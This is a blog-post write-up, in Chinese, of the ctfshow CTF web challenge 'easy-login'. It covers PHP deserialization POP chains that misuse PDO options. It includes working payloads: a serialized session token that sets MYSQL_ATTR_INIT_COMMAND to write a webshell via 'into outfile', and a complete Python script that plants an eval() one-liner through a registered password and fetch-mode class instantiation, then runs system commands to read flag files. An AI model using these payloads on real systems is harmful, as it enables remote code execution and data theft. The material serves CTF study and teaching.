首页 > 其他分享 >ctfshow元旦水友赛web-easy-login

ctfshow元旦水友赛web-easy-login

时间:2024-01-05 17:36:12浏览次数:25  
标签:__ web 3Bs% 22% 3A% ctfshow easy mysql data

easy-login

这个题群主在出红包题的时候发过了,当时侥幸拿了一血,但群主说非预期。这次放出来预期解,简单学习一下。

非预期

前面找链子大家应该都能找到,就不说了。

关键代码如下

class mysql_helper
{
    private $db;
    public $option = array(
        PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION
    );

    public function __construct()
    {
        $this->init();
    }

    public function __wakeup()
    {
        $this->init();
    }


    private function init()
    {
        $this->db = array(
            'dsn' => 'mysql:host=127.0.0.1;dbname=blog;port=3306;charset=utf8',
            'host' => '127.0.0.1',
            'port' => '3306',
            'dbname' => '****', //敏感信息打码
            'username' => '****', //敏感信息打码
            'password' => '****', //敏感信息打码
            'charset' => 'utf8',
        );
    }

    public function get_pdo()
    {
        try {
            $pdo = new PDO($this->db['dsn'], $this->db['username'], $this->db['password'], $this->option);
        } catch (PDOException $e) {
            die('数据库连接失败:' . $e->getMessage());
        }

        return $pdo;
    }
}

option参数可控,本想mysql恶意文件读取,但是有__wakeup限制,不能连接远程服务器。查阅文档 发现另一个参数

image-20230819114320878

可指定在连接mysql时执行的语句,故into outfile写马即可。

pop链构造如下

<?php

session_start();
class mysql_helper
{
    public $option = array(
        PDO::MYSQL_ATTR_INIT_COMMAND => "select '<?=`nl /*`;'  into outfile '/var/www/html/3.php';"
    );
}
class application
{
    public $mysql;
    public $debug = true;

    public function __construct()
    {
        $this->mysql = new mysql_helper();
    }

}
$_SESSION['user'] = new application();
echo session_encode();

最终payload,打了之后访问3.php即可。

/index.php?action=main&token=user|O%3a11%3a"application"%3a2%3a{s%3a5%3a"mysql"%3bO%3a12%3a"mysql_helper"%3a1%3a{s%3a6%3a"option"%3ba%3a1%3a{i%3a1002%3bs%3a57%3a"select+'<%3f%3d`nl+/*`%3b'++into+outfile+'/var/www/html/3.php'%3b"%3b}}s%3a5%3a"debug"%3bb%3a1%3b}

预期解

import requests
import time
# Author:ctfshow-h1xa

url = "http://xxx/"

def step1():
    data={
        "username":"userLogger",
        "password":"<?=eval($_POST[1]);?>.php"
    }
    response = requests.post(url=url+"index.php?action=do_register",data=data)
    time.sleep(1)
    if "script" in response.text:
        print("第一步执行完毕")
    else:
        print(response.text)
        exit()

def step2():
    data="token=user|O%3A11%3A%22application%22%3A6%3A%7Bs%3A6%3A%22cookie%22%3BO%3A13%3A%22cookie_helper%22%3A1%3A%7Bs%3A21%3A%22%00cookie_helper%00secret%22%3Bs%3A20%3A%22ctfshow_36d_boy_h1xa%22%3B%7Ds%3A5%3A%22mysql%22%3BO%3A12%3A%22mysql_helper%22%3A2%3A%7Bs%3A16%3A%22%00mysql_helper%00db%22%3Ba%3A7%3A%7Bs%3A3%3A%22dsn%22%3Bs%3A55%3A%22mysql%3Ahost%3D127.0.0.1%3Bdbname%3Dblog%3Bport%3D3306%3Bcharset%3Dutf8%22%3Bs%3A4%3A%22host%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A4%3A%22port%22%3Bs%3A4%3A%223306%22%3Bs%3A6%3A%22dbname%22%3Bs%3A4%3A%22blog%22%3Bs%3A8%3A%22username%22%3Bs%3A4%3A%22root%22%3Bs%3A8%3A%22password%22%3Bs%3A4%3A%22root%22%3Bs%3A7%3A%22charset%22%3Bs%3A4%3A%22utf8%22%3B%7Ds%3A6%3A%22option%22%3Ba%3A1%3A%7Bi%3A19%3Bi%3A262152%3B%7D%7Ds%3A9%3A%22dispather%22%3BN%3Bs%3A5%3A%22loger%22%3BO%3A10%3A%22userLogger%22%3A3%3A%7Bs%3A8%3A%22username%22%3BN%3Bs%3A20%3A%22%00userLogger%00password%22%3BN%3Bs%3A20%3A%22%00userLogger%00filename%22%3Bs%3A10%3A%22..%2Flog.txt%22%3B%7Ds%3A5%3A%22debug%22%3Bb%3A1%3Bs%3A10%3A%22dispatcher%22%3BO%3A10%3A%22dispatcher%22%3A0%3A%7B%7D%7D"
    response = requests.get(url=url+"index.php?action=main&token="+data)
    time.sleep(1)
    print("第二步执行完毕")

def step3():
    data={
        "1":"system('whoami && cat /f*');",
    }
    response = requests.post(url=url+"log.txt_-%3C%3F%3Deval(%24_POST%5B1%5D)%3B%3F%3E.php",data=data)
    time.sleep(1)
    if "www-data" in response.text:
        print("第三步 getshell 成功")
        print(response.text)
    else:
        print("第三步 getshell 失败")

if __name__ == '__main__':
    step1()
    step2()
    step3()

可以看到是先注册了一个用户名userLogger ,密码<?=eval($_POST[1]);?>.php的用户,然后触发反序列化,写入日志马,然后拿到shell。

其实关键的地方和非预期一样,也是序列化时的options参数,

key为19,value为262152.

19即为 PDO::ATTR_DEFAULT_FETCH_MODE,其值指定了数据库的结果(和数据库没关系)如何返回给调用者,其实是指定了PDOStatement::fetch函数的model参数。

model参数可以由两部分组成,高2字节可以指定ftech_flag,第2字节指定了fetch_type.具体如下

image-20240105145922019

2621520x0040000+ 0x08 ,也就是对应PDO_FETCH_CLASSTYPE | PDO_FETCH_CLASS ,即将结果的第一列做为类名, 然后新建一个实例。

在初始化属性值时,sql的列名就对应者类的属性名,如果存在某个列名,但在该类中不存在这个属性名,在赋值时就会触发类的_set方法。属性初始化结束后,最后还会调用一次 __construct方法。

所以,username注册为userLogger其实指定的是类名。password中包含一句话木马,以.php结尾,最后生成一句话木马文件。
image-20240105170320308

标签:__,web,3Bs%,22%,3A%,ctfshow,easy,mysql,data
From: https://www.cnblogs.com/cyyyyi/p/17947698

相关文章

  • 安防监控EasyCVR视频融合/汇聚平台大华热成像摄像机智能告警上报配置步骤
    安防视频监控/视频集中存储/云存储/磁盘阵列EasyCVR平台可拓展性强、视频能力灵活、部署轻快,可支持的主流标准协议有国标GB28181、RTSP/Onvif、RTMP等,以及支持厂家私有协议与SDK接入,包括海康Ehome、海大宇等设备的SDK等。平台既具备传统安防视频监控的能力,也具备接入AI智能分析的......
  • 视频智能分析/云存储平台EasyCVR接入海康SDK,通道名称未自动更新该如何解决?
    视频监控GB28181平台EasyCVR能在复杂的网络环境中,将分散的各类视频资源进行统一汇聚、整合、集中管理,在视频监控播放上,TSINGSEE青犀视频安防监控汇聚平台可支持1、4、9、16个画面窗口播放,可同时播放多路视频流,也能支持视频定时轮播。视频监控汇聚平台EasyCVR支持多种播放协议,包括:H......
  • EasyCVR大华热成像摄像机智能告警上报配置步骤
    在最新发布的EasyCVR(V.3.4)版本中,可支持大华sdk热成像摄像头的告警上报,以及通过接口集成与访问。那么,具体如何操作呢?步骤如下:1)首先,将大华热成像摄像头通过大华SDK接入到EasyCVR平台中;2)接入成功后,即可自动进行告警上报;3)用户还可自行配置算法,以烟火告警为例,在EasyCVR【告警查询】页面......
  • 【JDK+jenkins+gitee实现CI/CD(之三)】 jenkins拉取gitee代码WebHook返回403或404错误
     先上几张让我纠结了很多天的截图  以上是在我配置好jenkins和gitee令牌后一直出现的错误,查询了很多天资料后,确认造成的主要原因就是权限问题我的Jenkins 是最新的版本2.426.2,说下以下我使用过但无效果的办法,这些方法不能解决我提交代码后Jenkins触发WebHook的403问题......
  • 第5章 在 ASP.NET Core Web 应用进程中使用 EF Core
    本章涵盖在ASP.NETCore中使用EFCore在ASP.NETCore中使用依赖注入在ASP.NET核心MVC操作中访问数据库使用EFCore迁移更新数据库使用async/await提高可扩展性在本章中,您将使用ASP.NETCore构建一个真正的Web应用进程,将所有内容集成在一起。当然,使用ASP.N......
  • Win11打开IIS Web服务器
    Win11打开IISWeb服务器1CMD+R运行'control'2在控制面板打开程序和功能3启用或关闭功能4勾选IIS中的FTP、Web、万维网服务5重启即可6若自己有网站,直接将文件放此即可......
  • webview2 使用方法
    MicrosoftEdgeWebView2简介MicrosoftEdgeWebView2是一个基于Chromium的Web浏览器控件,可以嵌入到Windows应用程序中。它提供了一组API,用于在应用程序中显示Web内容,并与Web内容进行交互。安装MicrosoftEdgeWebView2运行环境方法1:windows系统中自身已安装MicrosoftE......
  • vue&webpack - vue2版本webpack脚手架配置梳理
    vue&webpack-vue2版本webpack脚手架配置梳理资源链接VueCLIwebpackwebpack5和webpack4的区别webpackWebpack4于2018年2月发布。(2020-10-10)webpack5.0.0发布VUECLI配置configureWebpackvue.config.js中的configureWebpack选项提供一个对象://vue.con......
  • 【Webpack】-css,less,图片的打包及压缩优化
    一、打包CSS代码由于Webpack默认只识别js代码,所以打包css代码需要其他一些东西来帮忙加载器css-loader:解析css代码加载器style-loader:把解析后的css代码插入到DOM步骤:1.准备css文件代码引入到src/login/index.js中(压缩转译处理等)2.下载css-loader和style-loader本地软件包3.配置web......
  • python语言在web上的应用:如何节省服务器资源?
    背景介绍在web开发中的应用广泛在web开发中的应用广泛。随着互联网的发展,web应用越来越普遍,而Python作为一种简洁、高效的编程语言,被广泛应用于web开发领域。Python提供了丰富的库和框架,如Django、Flask等,使开发人员能够快速搭建功能强大的web应用。同时,Python还具有良好的可扩展性......